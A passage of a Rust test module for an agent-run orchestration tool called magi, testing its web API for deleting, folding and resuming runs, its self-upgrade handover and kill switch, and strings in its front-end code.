12008 state2.candidates.push(crate::run::Candidate {
12009 index: 0,
12010 label: 'A',
12011 agent: "a".to_owned(),
12012 branch: "b".to_owned(),
12013 worktree: PathBuf::from("/w"),
12014 summary: String::new(),
12015 stat: String::new(),
12016 files: 1,
12017 commits: 1,
12018 empty: false,
12019 failed: None,
12020 verified_noop: None,
12021 duration_ms: 0,
12022 folded: false,
12023 });
12024 let dir2 = runs.join(run_unfolded);
12025 std::fs::create_dir_all(&dir2).expect("create dir2");
12026 std::fs::write(
12027 dir2.join("run.json"),
12028 serde_json::to_string(&state2).unwrap(),
12029 )
12030 .expect("write run.json");
12031
12032 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
12033 assert_eq!(res.status, 409);
12034 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
12035 assert!(dir2.exists(), "unfolded run directory is kept");
12036
12037 let res = fx.delete("/api/runs/nonexistent").await;
12039 assert_eq!(res.status, 404);
12040 }
12041
12042 #[test]
12051 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
12052 let start = APP_JS
12053 .find("function renderStats() {")
12054 .expect("renderStats");
12055 let end = start
12056 + APP_JS[start..]
12057 .find("function statsTile(")
12058 .expect("the next top-level function");
12059 let body = &APP_JS[start..end];
12060
12061 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
12062 let gate_end = gate_start
12063 + body[gate_start..]
12064 .find("}\n renderStatsQueue")
12065 .expect("the gate's own closing brace, right before the unconditional call");
12066 let gated = &body[gate_start..gate_end];
12067
12068 assert_eq!(
12069 body.matches("renderStatsQueue(").count(),
12070 1,
12071 "renderStats must call renderStatsQueue exactly once: {body}"
12072 );
12073 assert!(
12074 !gated.contains("renderStatsQueue"),
12075 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
12076 run-derived panels on an empty run history - the queue panel has to render \
12077 regardless: {gated}"
12078 );
12079 }
12080
12081 #[test]
12082 fn web_ui_delete_contract_in_front_end() {
12083 assert!(APP_JS.contains("deleteRun:"));
12085 assert!(APP_JS.contains("deleteTask:"));
12086
12087 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
12089 ..APP_JS.find("function renderRuns").unwrap()];
12090 assert!(!run_cards_slice.to_lowercase().contains("delete"));
12091
12092 assert!(APP_JS.contains("renderRunDelete"));
12094 assert!(APP_JS.contains("runDeleteReason"));
12095 assert!(APP_JS.contains("magi fold"));
12096 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
12097
12098 assert!(APP_JS.contains("cancel.focus"));
12100 assert!(APP_JS.contains("armedRunDelete"));
12101 assert!(APP_JS.contains("renderTaskDeleteBox"));
12102 assert!(APP_JS.contains("armed${cap(key)}"));
12103
12104 assert!(APP_JS.contains("disabled: status === \"running\""));
12106 }
12107
12108 #[test]
12128 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
12129 let build = APP_JS
12130 .find("function createRunCard")
12131 .expect("createRunCard exists");
12132 let update = APP_JS
12133 .find("function updateRunCard")
12134 .expect("updateRunCard exists");
12135 let end = APP_JS
12136 .find("function renderRuns")
12137 .expect("renderRuns exists");
12138
12139 let builder = &APP_JS[build..update];
12141 let open = builder.find("refs = {").expect("createRunCard sets refs");
12142 let literal = &builder[open + "refs = {".len()..];
12143 let close = literal.find('}').expect("the refs literal is closed");
12144 let published: HashSet<&str> = literal[..close]
12145 .split(',')
12146 .filter_map(|entry| entry.split(':').next())
12148 .map(str::trim)
12149 .filter(|name| !name.is_empty())
12150 .collect();
12151 assert!(
12152 published.len() > 5,
12153 "the refs literal did not parse into names: {published:?}"
12154 );
12155
12156 let mut used: Vec<&str> = Vec::new();
12159 let updaters = &APP_JS[update..end];
12160 for (at, _) in updaters.match_indices("r.") {
12161 let before = updaters[..at].chars().next_back();
12164 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
12165 continue;
12166 }
12167 let rest = &updaters[at + 2..];
12168 let len = rest
12169 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
12170 .unwrap_or(rest.len());
12171 if len > 0 {
12172 used.push(&rest[..len]);
12173 }
12174 }
12175 assert!(
12176 used.len() > 5,
12177 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
12178 );
12179
12180 let missing: Vec<&str> = used
12181 .iter()
12182 .copied()
12183 .filter(|name| !published.contains(name))
12184 .collect();
12185 assert!(
12186 missing.is_empty(),
12187 "a run card's updater reaches for {missing:?}, which `createRunCard` \
12188 never put in `refs` - every card will throw and the list will \
12189 render empty under a count line that says otherwise. Published: \
12190 {published:?}"
12191 );
12192 }
12193
12194 #[tokio::test]
12195 async fn folding_from_the_phone_reports_what_it_removed() {
12196 let fx = Fixture::start().await;
12197 let runs = fx.runs();
12198
12199 let id = "20260901-000000-fold";
12203 write_run(&runs, id, RunStatus::Stalled);
12204 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12205 assert_eq!(res.status, 200);
12206 assert_eq!(res.json()["removed_count"], 0);
12207 assert_eq!(res.json()["run"], id);
12208 assert!(
12209 runs.join(id).exists(),
12210 "a fold keeps the run's record; only the worktrees go"
12211 );
12212 }
12213
12214 #[tokio::test]
12215 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
12216 let fx = Fixture::start().await;
12217 let runs = fx.runs();
12218 let wt = fx.home.path().join("wt").join("magi").join("dead");
12219 let id = "20260901-000000-dead";
12220 std::fs::create_dir_all(runs.join(id)).expect("run dir");
12221 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
12222 std::fs::create_dir_all(&wt).expect("worktree dir");
12223
12224 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12225 assert_eq!(res.status, 200, "{}", res.body);
12226 assert!(
12227 res.json()["removed_count"].as_u64().unwrap() > 0,
12228 "the worktree this build could not read a state for still went"
12229 );
12230 assert!(
12231 !runs.join(id).exists(),
12232 "an unreadable run has no candidate list to fold selectively, so \
12233 the whole record goes - same as `magi fold` on the CLI"
12234 );
12235 }
12236
12237 #[tokio::test]
12238 async fn deleting_an_unreadable_run_removes_it_wholesale() {
12239 let fx = Fixture::start().await;
12240 let runs = fx.runs();
12241 let wt = fx.home.path().join("wt").join("magi").join("gone");
12242 let id = "20260901-000000-gone";
12243 std::fs::create_dir_all(runs.join(id)).expect("run dir");
12244 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
12245 std::fs::create_dir_all(&wt).expect("worktree dir");
12246
12247 let res = fx.delete(&format!("/api/runs/{id}")).await;
12248 assert_eq!(res.status, 204, "{}", res.body);
12249 assert!(!runs.join(id).exists(), "the broken record is gone");
12250 assert!(!wt.exists(), "its worktree is gone too");
12251 }
12252
12253 #[tokio::test]
12254 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
12255 let fx = Fixture::start().await;
12256 let runs = fx.runs();
12257 let id = "20260901-000000-live";
12258 write_run(&runs, id, RunStatus::Implementing);
12259
12260 let mut beat = crate::daemon::Status::new();
12261 beat.current = vec![crate::daemon::Current {
12262 task: "20260901-000000-task".to_owned(),
12263 run: id.to_owned(),
12264 }];
12265 beat.updated_at = jiff::Timestamp::now();
12266 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12267 .expect("publish a heartbeat");
12268
12269 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12270 assert_eq!(res.status, 409);
12271 assert!(
12272 res.json()["error"]
12273 .as_str()
12274 .unwrap()
12275 .contains("live daemon"),
12276 "folding under a running agent would pull its worktree away"
12277 );
12278 }
12279
12280 #[tokio::test]
12281 async fn fold_merged_requires_a_pr_url() {
12282 let fx = Fixture::start().await;
12283 let runs = fx.runs();
12284 let id = "20260901-000000-nourl";
12285 write_run(&runs, id, RunStatus::Blocked);
12286
12287 let res = fx
12288 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
12289 .await;
12290 assert_eq!(res.status, 400, "{}", res.body);
12291
12292 let blank = fx
12293 .post(
12294 &format!("/api/runs/{id}/fold-merged"),
12295 Some(r#"{"pr_url":" "}"#),
12296 )
12297 .await;
12298 assert_eq!(blank.status, 400, "{}", blank.body);
12299 }
12300
12301 #[tokio::test]
12302 async fn fold_merged_is_404_for_an_unknown_run() {
12303 let fx = Fixture::start().await;
12304 let res = fx
12305 .post(
12306 "/api/runs/nosuchrun/fold-merged",
12307 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12308 )
12309 .await;
12310 assert_eq!(res.status, 404, "{}", res.body);
12311 }
12312
12313 #[tokio::test]
12314 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
12315 let fx = Fixture::start().await;
12316 let runs = fx.runs();
12317 let id = "20260901-000000-livemerge";
12318 write_run(&runs, id, RunStatus::Blocked);
12319
12320 let mut beat = crate::daemon::Status::new();
12321 beat.current = vec![crate::daemon::Current {
12322 task: "20260901-000000-task".to_owned(),
12323 run: id.to_owned(),
12324 }];
12325 beat.updated_at = jiff::Timestamp::now();
12326 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12327 .expect("publish a heartbeat");
12328
12329 let res = fx
12330 .post(
12331 &format!("/api/runs/{id}/fold-merged"),
12332 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12333 )
12334 .await;
12335 assert_eq!(res.status, 409, "{}", res.body);
12336 assert!(
12337 res.json()["error"]
12338 .as_str()
12339 .unwrap()
12340 .contains("live daemon"),
12341 "correcting a run's merge underneath a running agent would race \
12342 whatever it is doing to the same `status`/`merge` fields"
12343 );
12344 }
12345
12346 #[tokio::test]
12351 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
12352 let fx = Fixture::start().await;
12353 let runs = fx.runs();
12354 let id = "20260901-000000-unconfirmed";
12355 write_run(&runs, id, RunStatus::Blocked);
12356
12357 let res = fx
12358 .post(
12359 &format!("/api/runs/{id}/fold-merged"),
12360 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12361 )
12362 .await;
12363 assert_eq!(res.status, 400, "{}", res.body);
12364 assert_eq!(
12365 read_run(&runs, id).unwrap().status,
12366 RunStatus::Blocked,
12367 "a pull request that could not be confirmed merged must leave \
12368 the run exactly where it was"
12369 );
12370 }
12371
12372 #[tokio::test]
12373 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
12374 let fx = Fixture::start().await;
12375 let runs = fx.runs();
12376
12377 for (status, word) in [
12383 (RunStatus::Merged, "merged"),
12384 (RunStatus::Ready, "ready"),
12385 (RunStatus::Failed, "failed"),
12386 ] {
12387 let id = format!("20260901-000000-{}", &word[..4]);
12388 write_run(&runs, &id, status);
12389 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
12390 assert_eq!(res.status, 409, "{word} must not be resumable");
12391 let err = res.json()["error"].as_str().unwrap().to_owned();
12392 assert!(err.contains(word), "the refusal names the status: {err}");
12393 }
12394
12395 let mid = "20260901-000000-midf";
12400 write_run(&runs, mid, RunStatus::Reviewing);
12401 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
12402 assert_eq!(res.status, 202, "an interrupted run is resumable");
12403 }
12404
12405 #[tokio::test]
12406 async fn resume_is_refused_while_the_loop_is_running() {
12407 let fx = Fixture::start().await;
12408 let runs = fx.runs();
12409 let stalled = "20260901-000000-stal";
12410 write_run(&runs, stalled, RunStatus::Stalled);
12411
12412 let mut beat = crate::daemon::Status::new();
12416 beat.current = vec![crate::daemon::Current {
12417 task: "20260901-000000-task".to_owned(),
12418 run: "20260901-000000-othr".to_owned(),
12419 }];
12420 beat.updated_at = jiff::Timestamp::now();
12421 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12422 .expect("publish a heartbeat");
12423
12424 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
12425 assert_eq!(res.status, 409);
12426 let err = res.json()["error"].as_str().unwrap().to_owned();
12427 assert!(err.contains("othr"), "it names what the loop is on: {err}");
12428 assert!(err.contains("stop it first"), "{err}");
12429 }
12430
12431 #[test]
12432 fn a_run_cannot_be_resumed_twice_at_once() {
12433 let home = TempDir::new().expect("temp home");
12434 let ui = Ui::new(
12435 Queue::at(home.path().join("queue")),
12436 Questions::at(home.path().join("questions")),
12437 Talks::at(home.path().join("talks")),
12438 home.path().join("runs"),
12439 home.path().to_path_buf(),
12440 PathBuf::from("/repo"),
12441 )
12442 .with_worktrees_root(home.path().join("wt"));
12443 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
12444 let again = ui.begin_resume("20260901-000000-once");
12445 assert!(again.is_err(), "a second tap must not start a second graph");
12446 drop(first);
12447 assert!(
12448 ui.begin_resume("20260901-000000-once").is_ok(),
12449 "and the claim is released when the attempt ends"
12450 );
12451 }
12452
12453 #[test]
12454 fn talk_thinking_tracks_only_its_held_turn_claim() {
12455 let home = TempDir::new().expect("temp home");
12456 let ui = Ui::new(
12457 Queue::at(home.path().join("queue")),
12458 Questions::at(home.path().join("questions")),
12459 Talks::at(home.path().join("talks")),
12460 home.path().join("runs"),
12461 home.path().to_path_buf(),
12462 PathBuf::from("/repo"),
12463 )
12464 .with_worktrees_root(home.path().join("wt"));
12465 let id = "20260901-000000-once";
12466
12467 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
12468 let turn = ui.begin_talk_turn(id).expect("claim turn");
12469 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
12470 assert!(
12471 !ui.is_thinking("20260901-000000-other"),
12472 "one talk's turn does not make another talk busy"
12473 );
12474 drop(turn);
12475 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
12476 }
12477
12478 #[tokio::test]
12479 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
12480 let fx = Fixture::start().await;
12481 let mut beat = crate::daemon::Status::new();
12485 beat.pid = 4321;
12486 beat.updated_at = jiff::Timestamp::now();
12487 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12488 .expect("publish a heartbeat");
12489
12490 let res = fx.post("/api/upgrade", None).await;
12491 assert_eq!(res.status, 409);
12492 let err = res.json()["error"].as_str().unwrap().to_owned();
12493 assert!(err.contains("4321"), "the refusal names the owner: {err}");
12494 assert!(err.contains("old one against the same queue"), "{err}");
12495 }
12496
12497 #[test]
12504 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
12505 assert!(!should_spawn_recheck(&crate::config::Update {
12506 mode: UpdateMode::Off,
12507 interval: None,
12508 }));
12509
12510 unsafe {
12513 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
12514 }
12515 let killed = should_spawn_recheck(&crate::config::Update {
12516 mode: UpdateMode::Notify,
12517 interval: None,
12518 });
12519 unsafe {
12520 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
12521 }
12522 assert!(
12523 !killed,
12524 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
12525 one-time startup check"
12526 );
12527
12528 assert!(should_spawn_recheck(&crate::config::Update {
12529 mode: UpdateMode::Notify,
12530 interval: None,
12531 }));
12532 }
12533
12534 #[test]
12540 fn recheck_poll_period_tracks_a_short_configured_interval() {
12541 let short = crate::config::Update {
12542 mode: UpdateMode::Notify,
12543 interval: Some("1m".to_owned()),
12544 };
12545 let period = recheck_poll_period(&short);
12546 assert!(
12547 period <= Duration::from_secs(30),
12548 "a one-minute interval must wake the task far sooner than the \
12549 default ceiling, or the deck would not notice within the \
12550 interval the operator configured: got {period:?}"
12551 );
12552
12553 let default = crate::config::Update {
12554 mode: UpdateMode::Notify,
12555 interval: None,
12556 };
12557 assert_eq!(
12558 recheck_poll_period(&default),
12559 UPDATE_RECHECK_POLL_MAX,
12560 "the default day-long interval should poll at the (capped) \
12561 ceiling rather than needlessly often"
12562 );
12563 }
12564
12565 #[test]
12573 fn recheck_skips_the_network_before_the_interval_elapses() {
12574 let dir = TempDir::new().expect("temp dir");
12575 let path = dir.path().join("state.json");
12576 let state = kaishin::UpdateCheckState {
12577 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
12578 last_known_latest: None,
12579 last_known_url: None,
12580 };
12581 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
12582
12583 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
12584 assert!(
12585 !update_recheck_due(&checker, None),
12586 "a check made moments ago must not be repeated before the \
12587 configured interval elapses"
12588 );
12589 }
12590
12591 #[test]
12597 fn recheck_defers_to_an_upgrade_already_in_flight() {
12598 let dir = TempDir::new().expect("temp dir");
12599 let path = dir.path().join("state.json");
12600 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
12601 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
12602
12603 assert!(
12604 !update_recheck_due(&checker, Some(&progress)),
12605 "a recheck must not run while an upgrade this deck started is \
12606 still moving"
12607 );
12608 }
12609
12610 #[tokio::test]
12611 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
12612 unsafe {
12624 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
12625 }
12626 let fx = Fixture::start().await;
12627 let res = fx.post("/api/upgrade", None).await;
12628 unsafe {
12629 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
12630 }
12631 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
12632 let body = res.json();
12633 assert!(body["to"].is_null(), "there was no release to move to");
12634 assert!(body["parked"].is_null(), "and nothing was parked");
12635 assert!(
12636 body["detail"]
12637 .as_str()
12638 .unwrap()
12639 .contains("disabled by MAGI_NO_AUTOUPDATE"),
12640 "{body:?}"
12641 );
12642 }
12643
12644 #[tokio::test]
12645 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
12646 let repo = TempDir::new().expect("repo dir");
12662 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
12663 .expect("write magi.toml");
12664 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12665
12666 let res = fx.post("/api/upgrade", None).await;
12672 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
12673 let body = res.json();
12674 assert!(body["to"].is_null(), "there was no release to move to");
12675 assert!(body["parked"].is_null(), "and nothing was parked");
12676 assert!(
12677 body["detail"]
12678 .as_str()
12679 .unwrap()
12680 .contains("nothing restarted"),
12681 "{body:?}"
12682 );
12683 }
12684
12685 #[tokio::test]
12686 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
12687 let repo = TempDir::new().expect("repo dir");
12692 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
12693 .expect("write magi.toml");
12694 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12695
12696 let health = fx.get("/api/health").await.json();
12697 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
12698 assert_eq!(
12699 health["update"]["available"], false,
12700 "checking is off, which reads as \"unknown\", not \"none\""
12701 );
12702 assert!(health["update"]["to"].is_null());
12703 assert!(
12704 health["upgrade"].is_null(),
12705 "nothing has ever asked this deck to upgrade"
12706 );
12707 }
12708
12709 #[tokio::test]
12710 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
12711 let fx = Fixture::start().await;
12712 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
12713
12714 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
12715 progress.parked_run = Some("20260905-000000-cd51".to_owned());
12716 progress.advance(crate::updater::Stage::Parking);
12717 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
12718
12719 let health = fx.get("/api/health").await.json();
12720 assert_eq!(health["upgrade"]["stage"], "parking");
12721 assert_eq!(health["upgrade"]["from"], "0.5.1");
12722 assert_eq!(health["upgrade"]["to"], "0.5.2");
12723 let waiting_on = health["upgrade"]["waiting_on"]
12724 .as_str()
12725 .expect("waiting_on is set while parking a known run");
12726 assert!(waiting_on.contains("cd51"), "{waiting_on}");
12727 assert!(waiting_on.contains("implementing"), "{waiting_on}");
12728 }
12729
12730 #[tokio::test]
12731 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
12732 let fx = Fixture::start().await;
12733 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
12734 progress.advance(crate::updater::Stage::Done);
12735 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
12736
12737 let health = fx.get("/api/health").await.json();
12738 assert_eq!(health["upgrade"]["stage"], "done");
12739 assert!(
12740 health["upgrade"]["waiting_on"].is_null(),
12741 "nothing to wait on once it is done"
12742 );
12743 }
12744
12745 #[tokio::test]
12746 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
12747 let home = TempDir::new().expect("temp home");
12748 let runs = home.path().join("runs");
12749 std::fs::create_dir_all(&runs).expect("runs dir");
12750 let ui = Ui::new(
12751 Queue::at(home.path().join("queue")),
12752 Questions::at(home.path().join("questions")),
12753 Talks::at(home.path().join("talks")),
12754 runs,
12755 home.path().to_path_buf(),
12756 PathBuf::from("/repo/magi"),
12757 )
12758 .with_launch(launch_idle);
12759 let looping = ui.looping();
12760 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
12761 .await
12762 .expect("bind loopback");
12763 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
12764
12765 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
12766 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
12767
12768 hand_over(home.path(), &looping, served, |_| Ok(()))
12769 .await
12770 .expect("hand over");
12771
12772 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
12773 assert_eq!(
12774 after.stage,
12775 crate::updater::Stage::Restarting,
12776 "hand_over owns the record through parking and up to restarting; \
12777 the successor is what finishes it"
12778 );
12779 }
12780
12781 fn idle_ui(home: &TempDir) -> Ui {
12782 let runs = home.path().join("runs");
12783 std::fs::create_dir_all(&runs).expect("runs dir");
12784 Ui::new(
12785 Queue::at(home.path().join("queue")),
12786 Questions::at(home.path().join("questions")),
12787 Talks::at(home.path().join("talks")),
12788 runs,
12789 home.path().to_path_buf(),
12790 PathBuf::from("/repo/magi"),
12791 )
12792 .with_launch(launch_idle)
12793 }
12794
12795 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
12797 let looping = ui.looping();
12798 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
12799 .await
12800 .expect("bind loopback");
12801 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
12802 let told = std::sync::Mutex::new(None);
12803 hand_over(home.path(), &looping, served, |resume| {
12804 *told.lock().unwrap() = Some(resume);
12805 Ok(())
12806 })
12807 .await
12808 .expect("hand over");
12809 told.into_inner().unwrap().expect("successor was started")
12810 }
12811
12812 #[tokio::test]
12813 async fn a_running_loop_is_resumed_by_the_successor() {
12814 let home = TempDir::new().expect("temp home");
12815 let ui = idle_ui(&home);
12816 ui.start_loop(None).expect("start");
12817 ui.park_for_upgrade().expect("park");
12818 for _ in 0..500 {
12820 if !ui.loop_view(None).running {
12821 break;
12822 }
12823 tokio::time::sleep(Duration::from_millis(2)).await;
12824 }
12825 assert!(handed_over(&home, ui).await, "a running loop must resume");
12826
12827 let successor = idle_ui(&home);
12828 assert!(!successor.loop_view(None).running);
12829 assert!(successor.resume_after_handover(true));
12830 assert!(successor.loop_view(None).running);
12831 successor.stop_loop(None, false).expect("stop");
12832 }
12833
12834 #[tokio::test]
12835 async fn a_second_upgrade_request_keeps_the_resume_intent() {
12836 let home = TempDir::new().expect("temp home");
12837 let ui = idle_ui(&home);
12838 ui.start_loop(None).expect("start");
12839 ui.park_for_upgrade().expect("first park");
12840 ui.park_for_upgrade().expect("second park");
12841 assert!(handed_over(&home, ui).await);
12842 }
12843
12844 #[tokio::test]
12845 async fn a_stop_during_the_handover_wait_is_honoured() {
12846 let home = TempDir::new().expect("temp home");
12847 let ui = idle_ui(&home);
12848 ui.start_loop(None).expect("start");
12849 ui.park_for_upgrade().expect("park");
12850 ui.stop_loop(None, false).expect("stop");
12851 assert!(!handed_over(&home, ui).await);
12852 }
12853
12854 #[tokio::test]
12855 async fn an_idle_loop_stays_stopped_across_the_handover() {
12856 let home = TempDir::new().expect("temp home");
12857 let ui = idle_ui(&home);
12858 ui.park_for_upgrade().expect("park");
12859 assert!(!handed_over(&home, ui).await);
12860
12861 let successor = idle_ui(&home);
12862 assert!(!successor.resume_after_handover(false));
12863 assert!(!successor.loop_view(None).running);
12864 }
12865
12866 #[tokio::test]
12867 async fn a_loop_the_operator_stopped_is_not_resumed() {
12868 let home = TempDir::new().expect("temp home");
12869 let ui = idle_ui(&home);
12870 ui.start_loop(None).expect("start");
12871 ui.stop_loop(None, false).expect("stop");
12872 ui.park_for_upgrade().expect("park");
12873 assert!(!handed_over(&home, ui).await);
12874 }
12875
12876 #[test]
12877 fn only_an_explicit_one_requests_a_resume() {
12878 assert!(!resume_requested(None));
12879 assert!(!resume_requested(Some("0".into())));
12880 assert!(!resume_requested(Some("".into())));
12881 assert!(resume_requested(Some("1".into())));
12882 }
12883
12884 #[test]
12885 fn the_upgrade_button_arms_before_it_restarts_anything() {
12886 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
12889 assert!(APP_JS.contains("Replace the binary and restart?"));
12890 assert!(APP_JS.contains("function confirmed("));
12891 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
12896 assert!(
12900 APP_JS.contains("Parking, then restarting"),
12901 "the button says what it is waiting for"
12902 );
12903 assert!(APP_JS.contains("if (!out.to)"));
12906 }
12907
12908 #[test]
12909 fn stopping_the_loop_arms_but_starting_does_not() {
12910 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
12913 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
12914 assert!(APP_JS.contains("confirmed(button, question)"));
12915 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
12918 assert!(APP_JS.contains("const label = btn.textContent;"));
12919 assert!(!APP_JS.contains("Neither direction is guarded"));
12920 }
12921
12922 #[test]
12923 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
12924 assert!(
12925 APP_JS.contains("state.health.version"),
12926 "the operator wants to know what is running even with nothing newer"
12927 );
12928 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
12929 }
12930
12931 #[test]
12932 fn the_upgrade_button_names_its_destination() {
12933 assert!(
12934 APP_JS.contains("`Update to ${update.to}`"),
12935 "pressing the button should not be a surprise about what it moves to"
12936 );
12937 }
12938
12939 #[test]
12940 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
12941 for stage in ["downloading", "replaced", "parking", "restarting"] {
12942 assert!(
12943 APP_JS.contains(&format!("\"{stage}\"")),
12944 "the phone must be able to tell {stage} apart from the others"
12945 );
12946 }
12947 assert!(APP_JS.contains(".waiting_on"));
12948 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
12953 assert!(APP_JS.contains("reconnects on its own"));
12954 }
12955
12956 #[test]
12957 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
12958 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
12967 ..APP_JS.find("function upgrade(").expect("upgrade")];
12968 assert!(
12969 !body.contains(
12970 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
12971 ),
12972 "a failed upgrade must not take the whole strip over the way it used to"
12973 );
12974 assert!(
12975 body.contains("upgradeFailNote"),
12976 "the failure has to reach the loop's own note instead"
12977 );
12978 assert_eq!(
12982 body.matches("upgradeFailNote].filter(Boolean).join")
12983 .count(),
12984 2,
12985 "both loop-why writers (quiet and control) must fold the note in"
12986 );
12987 }
12988
12989 #[test]
12990 fn an_overdue_upgrade_eventually_asks_for_a_human() {
12991 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
12994 assert!(APP_JS.contains("function upgradeOverdue("));
12995 }
12996
12997 #[test]
12998 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
12999 assert!(
13000 APP_JS.contains("Updated to ${upgradeInfo.to"),
13001 "the operator who asked for the restart wants to know it worked"
13002 );
13003 }
13004
13005 #[test]
13006 fn an_error_is_visible_from_where_the_button_is() {
13007 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
13012 ..APP_CSS.find(".alert-text").expect(".alert-text")];
13013 assert!(
13014 alert.contains("position: fixed"),
13015 "an error about the thing under your thumb has to be visible from \
13016 where your thumb is: {alert}"
13017 );
13018 assert!(
13019 alert.contains("z-index: 25"),
13020 "above the dock (20) and the run-actions FAB (15), so neither \
13021 buries it: {alert}"
13022 );
13023 assert!(
13024 alert.contains("var(--tap)"),
13025 "and clear of the dock and the home indicator: {alert}"
13026 );
13027 assert!(
13030 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
13031 "the FAB's column stays free: {alert}"
13032 );
13033 }
13034
13035 #[tokio::test]
13036 async fn an_older_attempt_says_what_replaced_it() {
13037 let fx = Fixture::start().await;
13038 let q = fx.queue();
13039 let runs = fx.runs();
13040 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13041 write_run(&runs, first, RunStatus::Stalled);
13042 write_run(&runs, second, RunStatus::Blocked);
13043
13044 let mut t = Task::new(
13045 "one task".to_owned(),
13046 "do it".to_owned(),
13047 PathBuf::from("/repo"),
13048 Source::Human,
13049 );
13050 t.runs = vec![first.to_owned(), second.to_owned()];
13051 q.put(&mut t).expect("put");
13052
13053 let rows = fx.get("/api/runs").await.json();
13057 let by = |short: &str| -> Value {
13058 rows.as_array()
13059 .unwrap()
13060 .iter()
